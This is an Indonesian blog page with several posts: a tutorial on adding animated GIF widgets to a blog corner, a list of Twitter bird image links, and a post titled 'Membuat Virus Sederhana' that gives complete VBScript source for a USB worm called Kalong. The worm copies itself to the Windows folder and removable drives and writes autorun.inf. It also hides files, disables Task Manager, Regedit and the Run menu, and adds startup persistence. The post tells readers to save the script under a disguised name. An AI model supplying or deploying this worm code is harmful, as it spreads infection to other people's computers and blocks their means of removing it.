Cara Membuat Animasi Di Sudut Blog

setelah lama berusaha mencari widget-widget animasi lucu bergerak dan menarik dari berbagai situs untuk anda dalam memasang animasi di sudut atau pojok blog dan membuat tampilan blog anda semakin segar dengan adanya animasi yang bergerak di sudut blog, akhirnya ketemu juga widget-widget yang lucu dan unik yang pastinya bergerak atau berformat gif ,pada kumpulan widget animasi bergerak ini anda bisa membuat animasi bergerak di pojok blog anda, mungkin di antara kalian ada juga yang senang dengan animasi - animasi lucu yang bergerak ini untuk di pasang di sudut  blog kalian. tapi tentu saja di setiap situs-situs tersebut tidak semua animasi bergerak sama oleh karena itu dalam postingan kali ini saya akan memberikan kumpulan postingan animasi bergerak yang lucu dan gokil dari berbagai situs yang telah saya kunjungi .silakan kalian kalau mau copas kode-kode script berikut di blog kalian .

sebelum kalian meng copas kode kode tersebut .. sebaiknya kalian mengikuti tutorial cara memasang animasi pada blog berikut ini . untuk memasang widget widget animasi bergerak seperti naruto dan onepiece pada blog kalian ..( tepatnya animasi- animasi bergerak  tersebut akan ada di sudut pojok bawah pada blog kalian ).dan kalian dapat merubah lokasi penempatannya/ukuran gambarnya sesuai dengan tempat/ukuran favorit anda .!!!

---

News Flash !!!
mau pelihara hamster kaya gini di blog ??? klikdisini
                                    
catatan !!!
coba anda klik pada kotak hamster di atas  !!!
bagaimana ??? kerenkan

---

lanjut ke tutorial pasang animasi naruto onepiece dll di sudut blog 

adapun langkah-langkah dalam memasang widget animasi bergerak   yaitu :

• masuk atau login ke blog kalian
• klik Rancangan / Design kemudian klik Elemen laman / page Elements
  
• Lalu klik tambah gadget / add gadget , setelah di klik akan muncul banyak pilihan ..
  
• pilih HTML/JAVA SCRIPT
  
• lalu copy pastekan script-script berikut  ini ( sebaiknya jangan di beri judul )
  
  
  script di bawah ini telah di setting sedimikian rupa agar animasi tersebut ada tepat di pojok kiri bawah blog . jika kalian tidak mau animasi tersebut berada di pojok kiri bawah blog kalian .. silakan kalian hapus atau edit kembali script yang berwarna hijau pada contoh di bawah ini setelah gambar animasi ..

Animasi Helikopter Gif

silakan copas :

<div style="position: fixed; bottom: 0px; left: 10px;width:110px;height:130px;"><a href="http://zengbogel.blogspot.com/2011/11/cara-pasang-animasi-lucu-pada-blog.html" target="_blank"><img border="0" src="http://content.sweetim.com/sim/cpie/emoticons/00020389.gif" title="widget animasi lucu bergerak atau gif"  alt="animasi bergerak naruto dan onepiece"/></a><small><center><a href="http://zengbogel.blogspot.com/2011/11/cara-pasang-animasi-lucu-pada-blog.html" target="_blank">animasi bergerak helikopter</a></center></small></div>

setelah itu simpan !!!

                    Ketentuan catatan 

=>untuk mengedit animasi apa yang kalian ingin gunakan silakan edit "Tulisan berwarna biru "( ubah alamat animasi favorit yang anda suka)
=> untuk mengedit tinggi animasi silakan edit : "hegiht : 130px" 
     ( angka dapat kalian atur  sesuai dengan kebutuhan)
=> untuk mengedit panjang gambar : "width : 110px"
     ( angka dapat kalian atur  sesuai dengan kebutuhan)=> untuk mengedit/ mengatur lokasi sesuai kebutuhan misal animasi bergerak ini dapat di
     buat agar tidak ada di pojok/sudut blog . melainkan diam / berada pada  posisi
     yang  kalian ingin kan , jika kalian tertarik untuk mengeditnya .silakan kalian edit   "position : fixed ; bottom:0px;left:10px" 
position fixed : maksudnya adalah posisi animasi akan selalu bergerak . jika andaingi posisi animasi tersebut hanya diam pada satu posisi maka silakan hapus  position : fixed ini
bottom : 0px : maksud bottom 0px ini adalah jarak antara animasi dengan sisi bawah .
 jika kalian ingin membuat animasi tersebut tidak berada di bawah ,misalkan kalian ingin animasi berada di atas silakan kalian editbottommenjadi topleft : 10px :      maksud left :10px ini adalah jarak antara animasi dengan sisi kiri . jika kalian ingin membuat animasi tersebut tidak berada di kiri,misalkan kalian ingin animasi berada di kanan silakan kalian  editleft menjadi right.

saran ..!!!!
jika anda ingin mengedit animasi menjadi di kanan dan di atas sebaiknya edit saja seperti ini"position : fixed ; top:0px;right:10px"

nahhh , sekarang coba kalian lihat hasilnya  ..prok ..prok ..prok ..jadi apa   !!!!

adapun script widget animasi yang lainnya dan bisa anda letakan di pojok blog dan banyak lagi yang telah saya temukan di mbah google , lihat di bawah ini : (cara membuat nimasi bergerak di pojok blog kalian ).
tinggal copy paste'in saja yaa .:

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/742/th/74214.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/466/th/46606.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/1/th/152.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/198/th/19809.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/3/th/312.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://i.mnpls.com/715/71510.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/59/th/5990.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/110/th/11046.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/0/th/72.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/229/th/22949.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/2/th/257.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/740/th/74084.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/197/th/19769.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/458/th/45845.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/2/th/219.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/1031/th/103123.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/439/th/43917.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/466/th/46602.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/1028/th/102882.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/438/th/43833.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/485/th/48554.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/212/th/21215.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/243/th/24365.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/102/th/10221.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/539/th/53966.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/102/th/10235.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/228/th/22801.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/460/th/46008.jpg" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/712/th/71266.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/656/th/65649.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/539/th/53972.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/461/th/46105.jpg" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/471/th/47146.jpg" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/692/th/69207.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/539/th/53973.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="www.zengbogel.blogspot.com" target="_blank"><img border="0" src="http://sig.graphicsfactory.com/Halloween/a.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://zengbogel.blogspot.com/2011/12/download-game.htmll" target="_blank">My Widget</a></center></small></div>

Baca Selengkapnya...

Membuat Virus Sederhana – Notepad

Iseng-iseng mencolok Flash Disc saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa VBS. Wah, ternyata para virus maker mulai melirik memakai bahasa VBS. Mungkin karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang terintegrasi dengannya, Windows Based Script Host.
Sesua janji saya, kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :

‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–// on error resume next

1 2	‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–// on error resume next

‘//–Dim kata-kata berikut ini–// dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd

1 2	‘//–Dim kata-kata berikut ini–// dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd

‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–// isi = “[autorun]” &amp; vbcrlf &amp; “shellexecute=wscript.exe k4l0n6.dll.vbs” set fs = createobject(”Scripting.FileSystemObject”) set mf = fs.getfile(Wscript.ScriptFullname) dim text,size size = mf.size check = mf.drive.drivetype set text = mf.openastextstream(1,-2) do while not text.atendofstream rekur = rekur &amp; text.readline rekur = rekur &amp; vbcrlf loop do

1 2 3 4 5 6 7 8 9 10 11 12 13

‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–// isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs” set fs = createobject(”Scripting.FileSystemObject”) set mf = fs.getfile(Wscript.ScriptFullname) dim text,size size = mf.size check = mf.drive.drivetype set text = mf.openastextstream(1,-2) do while not text.atendofstream rekur = rekur & text.readline rekur = rekur & vbcrlf loop do

‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows) Set windowpath = fs.getspecialfolder(0) set tf = fs.getfile(windowpath &amp; “\batch- k4l0n6.dll.vbs “) tf.attributes = 32 set tf=fs.createtextfile(windowpath &amp; “\batch- k4l0n6.dll.vbs”,2,true) tf.write rekursif tf.close set tf = fs.getfile(windowpath &amp; “\batch- k4l0n6.dll.vbs “) tf.attributes = 39 ‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–// ‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket

1 2 3 4 5 6 7 8 9 10 11

‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows) Set windowpath = fs.getspecialfolder(0) set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “) tf.attributes = 32 set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true) tf.write rekursif tf.close set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “) tf.attributes = 39 ‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–// ‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket

for each flashdrive in fs.drives ‘//–Cek Drive–// If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path &lt;&gt; “A:” then

1 2 3

for each flashdrive in fs.drives ‘//–Cek Drive–// If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then

‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–// set tf=fs.getfile(flashdrive.path &amp;”\k4l0n6.dll.vbs “) tf.attributes =32 set tf=fs.createtextfile(flashdrive.path &amp;”\k4l0n6.dll.vbs “,2,true) tf.write rekursif tf.close set tf=fs.getfile(flashdrive.path &amp;”\k4l0n6.dll.vbs “) tf.attributes = 39

1 2 3 4 5 6 7 8

‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–// set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “) tf.attributes =32 set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true) tf.write rekursif tf.close set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “) tf.attributes = 39

‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–// set tf =fs.getfile(flashdrive.path &amp;”\autorun.inf”) tf.attributes = 32 set tf=fs.createtextfile(flashdrive.path &amp;”\autorun.inf”,2,true) tf.write isi tf.close set tf = fs.getfile(flashdrive.path &amp;”\autorun.inf”) tf.attributes=39 end if next

1 2 3 4 5 6 7 8 9 10

‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–// set tf =fs.getfile(flashdrive.path &”\autorun.inf”) tf.attributes = 32 set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true) tf.write isi tf.close set tf = fs.getfile(flashdrive.path &”\autorun.inf”) tf.attributes=39 end if next

‘//–Manipulasi Registry–//

1	‘//–Manipulasi Registry–//

set kalong = createobject(”WScript.Shell”)

1	set kalong = createobject(”WScript.Shell”)

‘//–Manip - Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–// kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “

1 2	‘//–Manip - Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–// kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “

‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–// kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”

1 2	‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–// kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”

‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–// kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD” kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD” kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD” kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD” kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”

1 2 3 4 5 6

‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–// kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD” kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD” kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD” kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD” kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”

‘//–Manip – Disable klik kanan–// kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”

1 2	‘//–Manip – Disable klik kanan–// kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”

‘//–Manip - Munculkan Pesan Setiap Windows Startup–// kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”

1 2	‘//–Manip - Munculkan Pesan Setiap Windows Startup–// kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”

‘//–Manip – Aktif setiap Windows Startup–// kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath &amp; “\batch- k4l0n6.dll.vbs “

1 2	‘//–Manip – Aktif setiap Windows Startup–// kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “

‘//–Manip – Ubah RegisteredOwner dan Organization–// kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix” kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”

1 2 3

‘//–Manip – Ubah RegisteredOwner dan Organization–// kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix” kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”

‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–// if check &lt;&gt; 1 then Wscript.sleep 200000 end if loop while check &lt;&gt; 1 set sd = createobject(”Wscript.shell”) sd.run windowpath &amp; “\explorer.exe /e,/select, ” &amp; Wscript.ScriptFullname ‘Akhir dari Kode

1 2 3 4 5 6 7 8

‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–// if check <> 1 then Wscript.sleep 200000 end if loop while check <> 1 set sd = createobject(”Wscript.shell”) sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname ‘Akhir dari Kode

Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigaka

Baca Selengkapnya...

Warna Pilihan Burung Terbang Twitter

Untuk membuat warna burung twitter yang lain sobat bisa mengganti kode yang berwarna merah diatas dengan kode-kode dibawah ini sesuai dengan warna pilihan yang sobat inginkan

Warna Kuning

• https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHTbeU-6hWxAuE3h5ARFdKBZkfT4M7rZDVECsVPIx_hlj8tDO1NCXgi3pAWQuRPwLLjTjGZLksuVqcXVJKsr0ZaOorx4ha3Wle3o0CvoRbfYTGw29qqdnu5beKe_fv708AzwBvq7W9DOI/s1600/yellow+bird.png

Warna Hitam

• https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9K5BWDic_ucqoKR21oR55gJoBEe5KK120klCjpVpjy8iitbYJkwDMQwjOXdPHT7EO_04k6vHhTUDwma6gZFnu3vYwhTMp89bcN0w3ybaEPD_l_hB9CiTXv8jP-g7bu7WcVrg-_sWTEHM/s1600/black+bird.png

Warna Biru

• https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHspjCcxn8w9QuwKa0COZqy3GymJbB6aBosmS_IgGyTnZFM-o_Zp2CMpdtXSMr87srcr4i_6I0OjOXPvqEpf5i1HMIfL2JdAJUJGBPWK39n8BGqlXJ5p9yZUXFGFJLL9WI34PqdASSmQo/s1600/Blue+bird.png

Warna Coklat

• https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp-FuNyncJPtzmRz_E9K_Y0W_eYDwqDsR3Ujpx-Sdxg7VroIjvi2vlPrMbkdV1j4VU7BiNaG8I73QrpfR7OVuyOI3rZP_GwuJUXkXEijBYBqnV5XjisTlWGdnJzBLYOtaW-2Ua_cOZegQ/s1600/brown+bird.png

Warna Hijau

